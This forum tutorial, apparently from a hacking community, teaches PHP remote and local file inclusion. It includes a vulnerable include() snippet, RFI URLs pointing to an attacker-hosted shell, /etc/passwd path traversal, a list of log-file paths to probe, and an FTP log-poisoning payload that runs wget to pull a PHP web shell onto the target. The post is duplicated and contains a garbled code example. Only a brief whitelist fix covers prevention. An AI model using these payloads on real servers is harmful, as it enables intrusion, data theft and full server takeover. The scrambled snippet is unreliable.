Taku's RFI handbook 06-11-2015, 08:22 PM
#1
Introduction
I've already made 2 handbooks and people seem to like them, so I'm just going to continue.
The thread name speaks for itself - this handbook is going to be about the vulnerability RFI.
There's really not many tutorials here on web security, so I'm your helping hand.
What is RFI?
Remote File Inclusion, also known as RFI is a vulnerability that's pretty rare, but critical once found.
This vulnerability allows an attacker to include remote files through the "include" function in PHP, and it happens when the user-input is not sanitized and without proper validation.
For instance, imagine this PHP code example:
Let's say I host this file on my site, and I click some link. The URL now looks like this:
If we change "includedfile.php" to, let's say a URL the PHP code will include that site server-sided.
If we host a PHP shell on our own site called "http://gnyshell.com/shell.php", we could include that URL in the vulnerable PHP script, running the shell code on their website.
From there we can remove, add and edit files on the server, we can add client-sided code like "Javascript", and put XSS payloads on the site. We can steal data from PHP files connecting to MySQL servers for example, and you can also add DoS (Denial of Services) scripts to it, and take the whole server offline.
How the PHP code is ran when shellcode is executed:
Of course you can include local files that is already on the server. If the site is hosted on a Linux server you could write "/etc/passwd/, this will then show the contents of the passwd file.
Sometimes this doesn't work, so we have to go back a couple of directories. Try writing ../../../../../../../etc/passwd. This will most likely find the passwd file.
This is not called RFI though, this is LFI (Local File Inclusion) because you are not including a remote file, but a one that's already on the local server.
This might seem harmless but It's really not. There's usually apache logs, FTP logs, SSH logs, etc that's hosted on the server, and if you can access those through LFI, you can then make the server log PHP strings, and when they are shown again on the site they are ran as PHP code making you execute PHP code server-sided.
Let's imagine a site which is vulnerable to LFI.
http://website.com/vulnerable.php?file=file.php
If you change file.php to /etc/passwd you'll get the contents of the linux passwd file - we already know that.
Now, if we want to execute PHP code we could try to find logs, like FTP logs.
Most logs are usually found in:
Let's imagine we find "/var/log", which is a common log file for FTP (File Transfer Protocol).
What we do next is open up some kind of FTP client like FileZilla, and connect to our target website.
For username and password we want to put a PHP payload, so it gets logged in the FTP log file.
What we'll put is <?php exec("wget http://www.shellcode.com/phpshell.php");?>
This will basically run the wget command, and download our malicious PHP shell script onto the server.
Once we try to connect using those credentials, the FTP username and password try will be logged, and put in the log file.
Then we will go back to our vulnerable site and try to include the FTP log file again: http://website.com/vulnerable.php?file=../../../var/log
This time it will try to display the log file, but will think that the line <?php exec("wget http://www.shellcode.com/phpshell.php");?> is code that it's supposed to run, and it does. The shell script is then download onto the server, and we can then access it by going to http://website.com/shell.php
From there we can once again, upload files, edit files, remove files, root the whole box and symlink the rest of the domains hosted on the same IP, anything that you want to do.
We can also do full directory listing using a NULL byte after the included file.
"http://website.com/vulnerable.php?file=file.php%00"
How to prevent RFI
There's a couple of different ways, but the most effective one (in my opinion atleast) is whitelisting the files that's supposed to be included.
So, in the code where you're actually going to include the files -- use this instead:
Even though the vulnerability is still there, it will be unusable as you can't include any files but the ones that are white listed.
Last words
Urgh, I'm glad you made it here. Thanks for reading as always.
Please tell me if you have any problems, or if you learnt something new; tell me what you learnt.
EDIT: Oh yeah, I made it blue so it looks more sexy.
I've already made 2 handbooks and people seem to like them, so I'm just going to continue.
The thread name speaks for itself - this handbook is going to be about the vulnerability RFI.
There's really not many tutorials here on web security, so I'm your helping hand.
What is RFI?
Remote File Inclusion, also known as RFI is a vulnerability that's pretty rare, but critical once found.
This vulnerability allows an attacker to include remote files through the "include" function in PHP, and it happens when the user-input is not sanitized and without proper validation.
For instance, imagine this PHP code example:
Code:
<?php
if ( isset( $_GET['file'] ) ) {
include( $_GET['file'] . '.php' );
}
?>
Code:
http://website.com/vulnerable.php?file=includedfile.php
If we host a PHP shell on our own site called "http://gnyshell.com/shell.php", we could include that URL in the vulnerable PHP script, running the shell code on their website.
Code:
http://website.com/vulnerable.php?file=http://gnyshell.com/shell.php
How the PHP code is ran when shellcode is executed:
Code:
<?php
if ( isset( $_GET['file'] ) ) {
include( $_GET['http://gnyshell.com/shell.php'] . '.php' );
}
?>
Sometimes this doesn't work, so we have to go back a couple of directories. Try writing ../../../../../../../etc/passwd. This will most likely find the passwd file.
This is not called RFI though, this is LFI (Local File Inclusion) because you are not including a remote file, but a one that's already on the local server.
This might seem harmless but It's really not. There's usually apache logs, FTP logs, SSH logs, etc that's hosted on the server, and if you can access those through LFI, you can then make the server log PHP strings, and when they are shown again on the site they are ran as PHP code making you execute PHP code server-sided.
Let's imagine a site which is vulnerable to LFI.
http://website.com/vulnerable.php?file=file.php
If you change file.php to /etc/passwd you'll get the contents of the linux passwd file - we already know that.
Now, if we want to execute PHP code we could try to find logs, like FTP logs.
Most logs are usually found in:
Code:
../var/log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
What we do next is open up some kind of FTP client like FileZilla, and connect to our target website.
For username and password we want to put a PHP payload, so it gets logged in the FTP log file.
What we'll put is <?php exec("wget http://www.shellcode.com/phpshell.php");?>
This will basically run the wget command, and download our malicious PHP shell script onto the server.
Once we try to connect using those credentials, the FTP username and password try will be logged, and put in the log file.
Code:
Host: http://website.com/
Username: <?php exec("wget http://www.shellcode.com/phpshell.php");?>
Password: <?php exec("wget http://www.shellcode.com/phpshell.php");?>
Then we will go back to our vulnerable site and try to include the FTP log file again: http://website.com/vulnerable.php?file=../../../var/log
This time it will try to display the log file, but will think that the line <?php exec("wget http://www.shellcode.com/phpshell.php");?> is code that it's supposed to run, and it does. The shell script is then download onto the server, and we can then access it by going to http://website.com/shell.php
From there we can once again, upload files, edit files, remove files, root the whole box and symlink the rest of the domains hosted on the same IP, anything that you want to do.
We can also do full directory listing using a NULL byte after the included file.
"http://website.com/vulnerable.php?file=file.php%00"
How to prevent RFI
There's a couple of different ways, but the most effective one (in my opinion atleast) is whitelisting the files that's supposed to be included.
Code:
$whitelist = array(
'file1.php',
'file2.php',
'file3.php',
'file4.php',
'file5.php',
);
Code:
if(in_array($_GET['page'] . '.php', $whitelist) && file_exists($_GET['page'] . '.php')) {
include($_GET['page'] . '.php');
}
?>
Last words
Urgh, I'm glad you made it here. Thanks for reading as always.
Please tell me if you have any problems, or if you learnt something new; tell me what you learnt.
EDIT: Oh yeah, I made it blue so it looks more sexy.